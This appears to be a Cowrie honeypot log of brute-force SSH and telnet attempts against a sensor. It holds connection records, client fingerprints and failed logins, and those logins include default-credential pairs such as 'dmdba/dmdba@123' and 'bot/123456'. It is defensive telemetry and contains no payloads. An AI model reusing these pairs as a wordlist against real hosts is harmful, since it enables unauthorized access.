{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.486723Z","src_ip":"80.94.92.186","session":"38955ce17a76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.882085Z","src_ip":"80.94.92.186","session":"38955ce17a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":42178,"dst_ip":"159.203.135.109","dst_port":23,"session":"11168e0c9d1f","protocol":"telnet","message":"New connection: 194.247.164.234:42178 (159.203.135.109:23) [session: 11168e0c9d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.965082Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":42180,"dst_ip":"159.203.135.109","dst_port":23,"session":"c76fdbb2ca95","protocol":"telnet","message":"New connection: 194.247.164.234:42180 (159.203.135.109:23) [session: c76fdbb2ca95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:59.984447Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:01.003339Z","src_ip":"80.94.92.186","session":"38955ce17a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":42454,"dst_ip":"159.203.135.109","dst_port":23,"session":"715b0765a687","protocol":"telnet","message":"New connection: 194.247.164.234:42454 (159.203.135.109:23) [session: 715b0765a687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:01.067462Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49776,"dst_ip":"159.203.135.109","dst_port":22,"session":"db8657c50e6c","protocol":"ssh","message":"New connection: 192.109.200.78:49776 (159.203.135.109:22) [session: db8657c50e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:01.727291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:01.732954Z","src_ip":"192.109.200.78","session":"db8657c50e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:01.816046Z","src_ip":"192.109.200.78","session":"db8657c50e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:02.074927Z","src_ip":"192.109.200.78","session":"db8657c50e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38616,"dst_ip":"159.203.135.109","dst_port":22,"session":"8614764b7165","protocol":"ssh","message":"New connection: 176.65.139.95:38616 (159.203.135.109:22) [session: 8614764b7165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:02.936993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:02.942038Z","src_ip":"176.65.139.95","session":"8614764b7165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:03.028499Z","src_ip":"176.65.139.95","session":"8614764b7165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:03.159714Z","src_ip":"192.109.200.78","session":"db8657c50e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:03.432052Z","src_ip":"176.65.139.95","session":"8614764b7165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.822974920272827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:03.817383Z","src_ip":"194.247.164.234","session":"a8c008c00527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174832344055,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:03.841208Z","src_ip":"152.59.179.89","session":"2d4208c5a89b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":43284,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c0a78e74fa","protocol":"telnet","message":"New connection: 194.247.164.234:43284 (159.203.135.109:23) [session: c3c0a78e74fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:04.147580Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:04.540906Z","src_ip":"176.65.139.95","session":"8614764b7165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":56828,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bb66cdaa6b4","protocol":"telnet","message":"New connection: 152.59.179.89:56828 (10.17.0.5:23) [session: 2bb66cdaa6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:05.014095Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49790,"dst_ip":"159.203.135.109","dst_port":22,"session":"8527312676cb","protocol":"ssh","message":"New connection: 192.109.200.78:49790 (159.203.135.109:22) [session: 8527312676cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:06.141858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:06.146966Z","src_ip":"192.109.200.78","session":"8527312676cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:06.230803Z","src_ip":"192.109.200.78","session":"8527312676cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:06.490718Z","src_ip":"192.109.200.78","session":"8527312676cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.735962390899658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:06.752395Z","src_ip":"194.247.164.234","session":"a7c3a0400e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33344531059265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:06.790738Z","src_ip":"194.247.164.234","session":"55e0d9cddeac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:07.582914Z","src_ip":"192.109.200.78","session":"8527312676cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.780335664749146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:09.775332Z","src_ip":"194.247.164.234","session":"069e8bf8a17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57332,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb52b32693e3","protocol":"ssh","message":"New connection: 176.65.139.95:57332 (159.203.135.109:22) [session: bb52b32693e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:09.821784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:09.826909Z","src_ip":"176.65.139.95","session":"bb52b32693e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:09.953977Z","src_ip":"176.65.139.95","session":"bb52b32693e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57718,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e4d05772b6","protocol":"ssh","message":"New connection: 159.203.92.129:57718 (159.203.135.109:22) [session: 85e4d05772b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.289617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.340100Z","src_ip":"159.203.92.129","session":"85e4d05772b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.344436Z","src_ip":"159.203.92.129","session":"85e4d05772b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46818,"dst_ip":"159.203.135.109","dst_port":22,"session":"4985f5452944","protocol":"ssh","message":"New connection: 192.109.200.78:46818 (159.203.135.109:22) [session: 4985f5452944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.355368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.362975Z","src_ip":"192.109.200.78","session":"4985f5452944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.445231Z","src_ip":"192.109.200.78","session":"4985f5452944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.497598Z","src_ip":"176.65.139.95","session":"bb52b32693e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MasterFeng","password":"123456","message":"login attempt [MasterFeng/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.643130Z","src_ip":"159.203.92.129","session":"85e4d05772b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:10.696749Z","src_ip":"192.109.200.78","session":"4985f5452944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:11.596586Z","src_ip":"176.65.139.95","session":"bb52b32693e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:11.652852Z","src_ip":"159.203.92.129","session":"85e4d05772b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:11.784863Z","src_ip":"192.109.200.78","session":"4985f5452944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.898160457611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:11.887516Z","src_ip":"194.247.164.234","session":"8172734b7811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"31e81edf8b73","protocol":"ssh","message":"New connection: 192.109.200.78:46822 (159.203.135.109:22) [session: 31e81edf8b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:14.640523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:13:14.645052Z","src_ip":"192.109.200.78","session":"31e81edf8b73","protocol":"ssh"}
